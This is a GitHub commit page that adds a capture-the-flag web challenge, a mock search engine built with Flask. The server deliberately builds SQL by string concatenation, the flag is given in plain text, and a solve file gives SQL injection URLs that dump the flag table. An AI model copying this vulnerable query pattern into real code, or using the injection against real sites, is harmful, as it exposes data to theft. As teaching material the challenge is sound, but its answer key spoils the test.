Skip to content
This repository has been archived by the owner on Jun 11, 2024. It is now read-only.

Commit

Permalink
webex/michaelsoft gring (#33)
Browse files Browse the repository at this point in the history
* added the chall, needs dockerfile and a solve method (idk how to solve it)

* initial challenge commit

* Revert "added the chall, needs dockerfile and a solve method (idk how to solve it)"

This reverts commit d14884d.

* remove some not nice words (and others probably)

* convert solvepath to markdown for better formatting

* some deploy fixes

* ignore solvepath and fix yaml

---------

Co-authored-by: mudasir <[email protected]>
  • Loading branch information
Korn-Jacob and mud-ali authored Jun 6, 2024
1 parent 170095d commit 91287bb
Show file tree
Hide file tree
Showing 17 changed files with 22,168 additions and 0 deletions.
2 changes: 2 additions & 0 deletions michaelsoft-gring/.dockerignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
*.db
solve.md
13 changes: 13 additions & 0 deletions michaelsoft-gring/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
FROM python:3.12-slim-bookworm

WORKDIR /app

RUN useradd -m bcactf && chown -R bcactf:bcactf /app && chmod -R 775 /app

USER bcactf
ENV PATH $PATH:/home/bcactf/.local/bin
RUN pip install flask

COPY . .
EXPOSE 5000
ENTRYPOINT ["flask", "--app", "server","run", "--host", "0.0.0.0", "--port", "5000"]
17 changes: 17 additions & 0 deletions michaelsoft-gring/chall.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
name: Michaelsoft Gring
categories:
- webex
value: 100
flag:
file: ./flag.txt
description: |-
From the makers of famous operating system Binbows comes a new search engine to rival the best: Gring. The sqlite database is super secure and has only the best search results picked by our custom AI (we forgot to train it but that's not important).
hints:
- I think the server is splitting by spaces - how do I put spaces in my "search"?
authors:
- Jacob Korn
visible: true
deploy:
web:
build: .
expose: 5000/tcp
1 change: 1 addition & 0 deletions michaelsoft-gring/flag.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
bcactf{59L_1n1ECTeD_026821}
Binary file added michaelsoft-gring/search_results.db
Binary file not shown.
85 changes: 85 additions & 0 deletions michaelsoft-gring/server.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,85 @@
from flask import Flask, render_template, url_for
from random import randint
import sqlite3

# returns a random word, weighted by frequency
def rand_word():
n = randint(0, rand_max)
word = -1
while n > words[word][1]:
word += 1
n -= words[word][1]
return words[word][0]

#create DB with tables
con = sqlite3.connect("search_results.db")
cur = con.cursor()
for table in cur.execute("SELECT name FROM sqlite_master WHERE type = 'table'").fetchall():
cur.execute("DROP TABLE " + table[0])

con.commit()

cur.execute("CREATE TABLE search(title)")
cur.execute("CREATE TABLE flag(flag)")
cur.execute("INSERT INTO flag VALUES ('bcactf{59L_1n1ECTeD_026821}')")
con.commit()

# load words with frequencies from words.txt
word_file = open("words.txt", "r", errors="ignore")
words = []
rand_max = 0 # sum of all word frequencies (for horrible weighted random system (i'm bad at math))

for line in word_file:
words.append((line.split(",")[0], int(line.split(",")[1])))
rand_max += int(line.split(",")[1])

# create and add search results
to_add = []
for _ in range(10000):
to_add.append([""])
for __ in range(randint(3,12)):
to_add[-1][0] += " " + rand_word()
to_add = [tuple(n) for n in to_add]
print(to_add)
cur.executemany("INSERT INTO search VALUES (?)", to_add)
con.commit()


# flask app
app = Flask(__name__)

@app.get("/")
def main_page(a=False):
url_for("static", filename="styles.css")
url_for("static", filename="images/search.png")
url_for("static", filename="images/logo.png")
return render_template("mainpage.html", a=a)

@app.get("/search/<search>")
def search_page(search):
#reconnect sql (sqlite wants me to do that idk why)
con = sqlite3.connect("search_results.db")
cur = con.cursor()

# make search results
search_results = []
search_words = search.lower().split(" ")
search_lower = search.lower()

sql = ""
# do sql injection here (it's very poorly coded because sqlite is very hard to make vulnerable to sql injection)
for word in search_words:
sql += "SELECT title FROM search WHERE title LIKE '%" + word + "%';"
try:
for query in sql.split(";"):
for row in cur.execute(query):
search_results.append(row[0])
except:
return main_page(a=True)
no_results = len(search_results) == 0

# do web
url_for("static", filename="search.css")
url_for("static", filename="images/logo.png")
url_for("static", filename="search.js")
return render_template("searchpage.html", search=search, search_lower=search_lower, search_results=search_results, no_results=no_results, search_terms=search_words)
18 changes: 18 additions & 0 deletions michaelsoft-gring/solve.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
First:
```
http://localhost:5000/search/keirwgnph';SELECT%0Aname%0AFROM%0Asqlite_master%0AWHERE%0Atype='table'--
```

Replace localhost:5000 with the server, note the trailing space

The SQL injection needs to have no spaces in it, so URL newlines (%0A) are used instead of spaces (%20) for whitespace characters. other whitespace works as well (typing it in the URL is so much easier than typing it the actual site)
This selects the various tables, so that you know where the flag is.

Then:
```
http://localhost:5000/search/a4toi3rgo3ith';SELECT%0A*%0AFROM%0Aflag;--
```

(again, replacing the url appropriately)

This gets the flag from the flag table, which you know exists after running the first injection.
Binary file added michaelsoft-gring/static/favicon.ico
Binary file not shown.
Binary file added michaelsoft-gring/static/images/background.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added michaelsoft-gring/static/images/logo.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added michaelsoft-gring/static/images/search.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
49 changes: 49 additions & 0 deletions michaelsoft-gring/static/search.css
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
html, body, form, table, textarea {
width: 100%;
height: 100%;
}
* {
padding: 0;
margin: 0;
overflow: hidden;
font-family: "Segoe Script", cursive;
}

header {
width: 100%;
height: 15%;
background: rgba(171, 166, 166,0.5);
}

#logo p {
display: inline;
font-size: 60px;
}

#logo img {
width: 103px;
height: 66px;
display: inline;
}

#logo {
vertical-align: center;
}

#search-results {
width: 50%;
height: 85%;
display: grid;
grid-template-columns: 100%;
overflow-y: scroll;
scrollbar-color: #99d9ea;
}

#search-results > div {
height: 50px;
border: solid black 5px
}

#search-results > div > a, a > b {
font-family: "Comic Sans MS", serif;
}
7 changes: 7 additions & 0 deletions michaelsoft-gring/static/search.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
// bold all text that was searched for

for (let i of search.split(" ")) {
for (let element of document.getElementsByClassName("result-text")) {
element.innerHTML = element.innerHTML.replaceAll(i, "<b>" + i + "</b>");
}
}
70 changes: 70 additions & 0 deletions michaelsoft-gring/static/styles.css
Original file line number Diff line number Diff line change
@@ -0,0 +1,70 @@
html, body, #body, form, table, textarea {
width: 100%;
height: 100%;
}
* {
padding: 0;
margin: 0;
overflow: hidden;
font-family: "Segoe Script", cursive;
}

body {
background-image: url("images/background.png");
}

header {
width: 100%;
height: 15%;
background: rgba(171, 166, 166,0.5);
}

#logo p {
display: inline;
font-size: 60px;
}

#logo img {
width: 103px;
height: 66px;
display: inline;
}

#logo {
vertical-align: center;
}

#middle-container {
margin-top:15%;
margin-left:35%;
width:30%;
text-align: center;
}

#searchbar {
border: white solid;
background: white;
border-radius: 30px;
padding-top: 10px;
display: grid;
grid-template-columns: 10% 90%;
}

#search {
background-color: white;
grid-column: 1;
width: 30px;
height: 30px;
margin-left: 10px;
border: none;
cursor: pointer;
}

textarea {
border: none;
cursor: pointer;
grid-column: 2;
height: 62%;
resize:none;
font-size: 10px;
}
40 changes: 40 additions & 0 deletions michaelsoft-gring/templates/mainpage.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
<!DOCTYPE html>
<html lang="en">
<head>
<link rel="stylesheet" href="static/styles.css">
<link rel="shortcut icon" href="{{ url_for('static', filename='favicon.ico') }}">
<title>
Gring
</title>
</head>
{% if a %}
<script>
alert("Uh oh! Error occured. That's bad. Try again maybe?");
location.href = "/";
</script>
{% endif %}
<body>
<header>
<div id="logo">
<img src="static/images/logo.png" alt="logo">
<p>
Michaelsoft Gring
</p>
</div>
</header>
<div id="body">
<div id="middle-container">
<div id="searchbar">
<img id="search" alt="search" src="static/images/search.png" onclick="location.href = '/search/' + document.getElementById('searchtext').value;">
<textarea id="searchtext" autocapitalize="characters" autocomplete="on" minlength="20" placeholder="Search our database of billions of search results!" inputmode="search"></textarea>
</div>
</div>
</div>
</body>
<script>
document.body.onkeydown = (e) => {
if (e.key === "Enter")
location.href = '/search/' + document.getElementById('searchtext').value;
}
</script>
</html>
34 changes: 34 additions & 0 deletions michaelsoft-gring/templates/searchpage.html
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
<!DOCTYPE>
<html lang="en">
<head>
<title>Gring Search: {{ search }}</title>
<link rel="stylesheet" href="../static/search.css">
<link rel="shortcut icon" href="{{ url_for('static', filename='favicon.ico') }}">
</head>
<body>
<header>
<div id="logo">
<img src="../static/images/logo.png" alt="logo" onclick="window.location.href = '/'">
<p>
Michaelsoft Gring
</p>
</div>
</header>
<h1> Search Terms: {{ search_terms }} </h1>
<div id="search-results">
{% for s in search_results %}
<div>
<a class="result-text" href="https://www.google.com/search?&q={{ s }}"> {{ s }} </a>
</div>
{% endfor %}
{% if no_results %}
Unfortunately, there were no results for your search. Have you tried getting better?
{% endif %}
</div>
</body>
<script>
// put search data into js here (because jinja reasons)
let search = JSON.parse('{{ search_lower | tojson }}');
</script>
<script src="../static/search.js"></script>
</html>
Loading

0 comments on commit 91287bb

Please sign in to comment.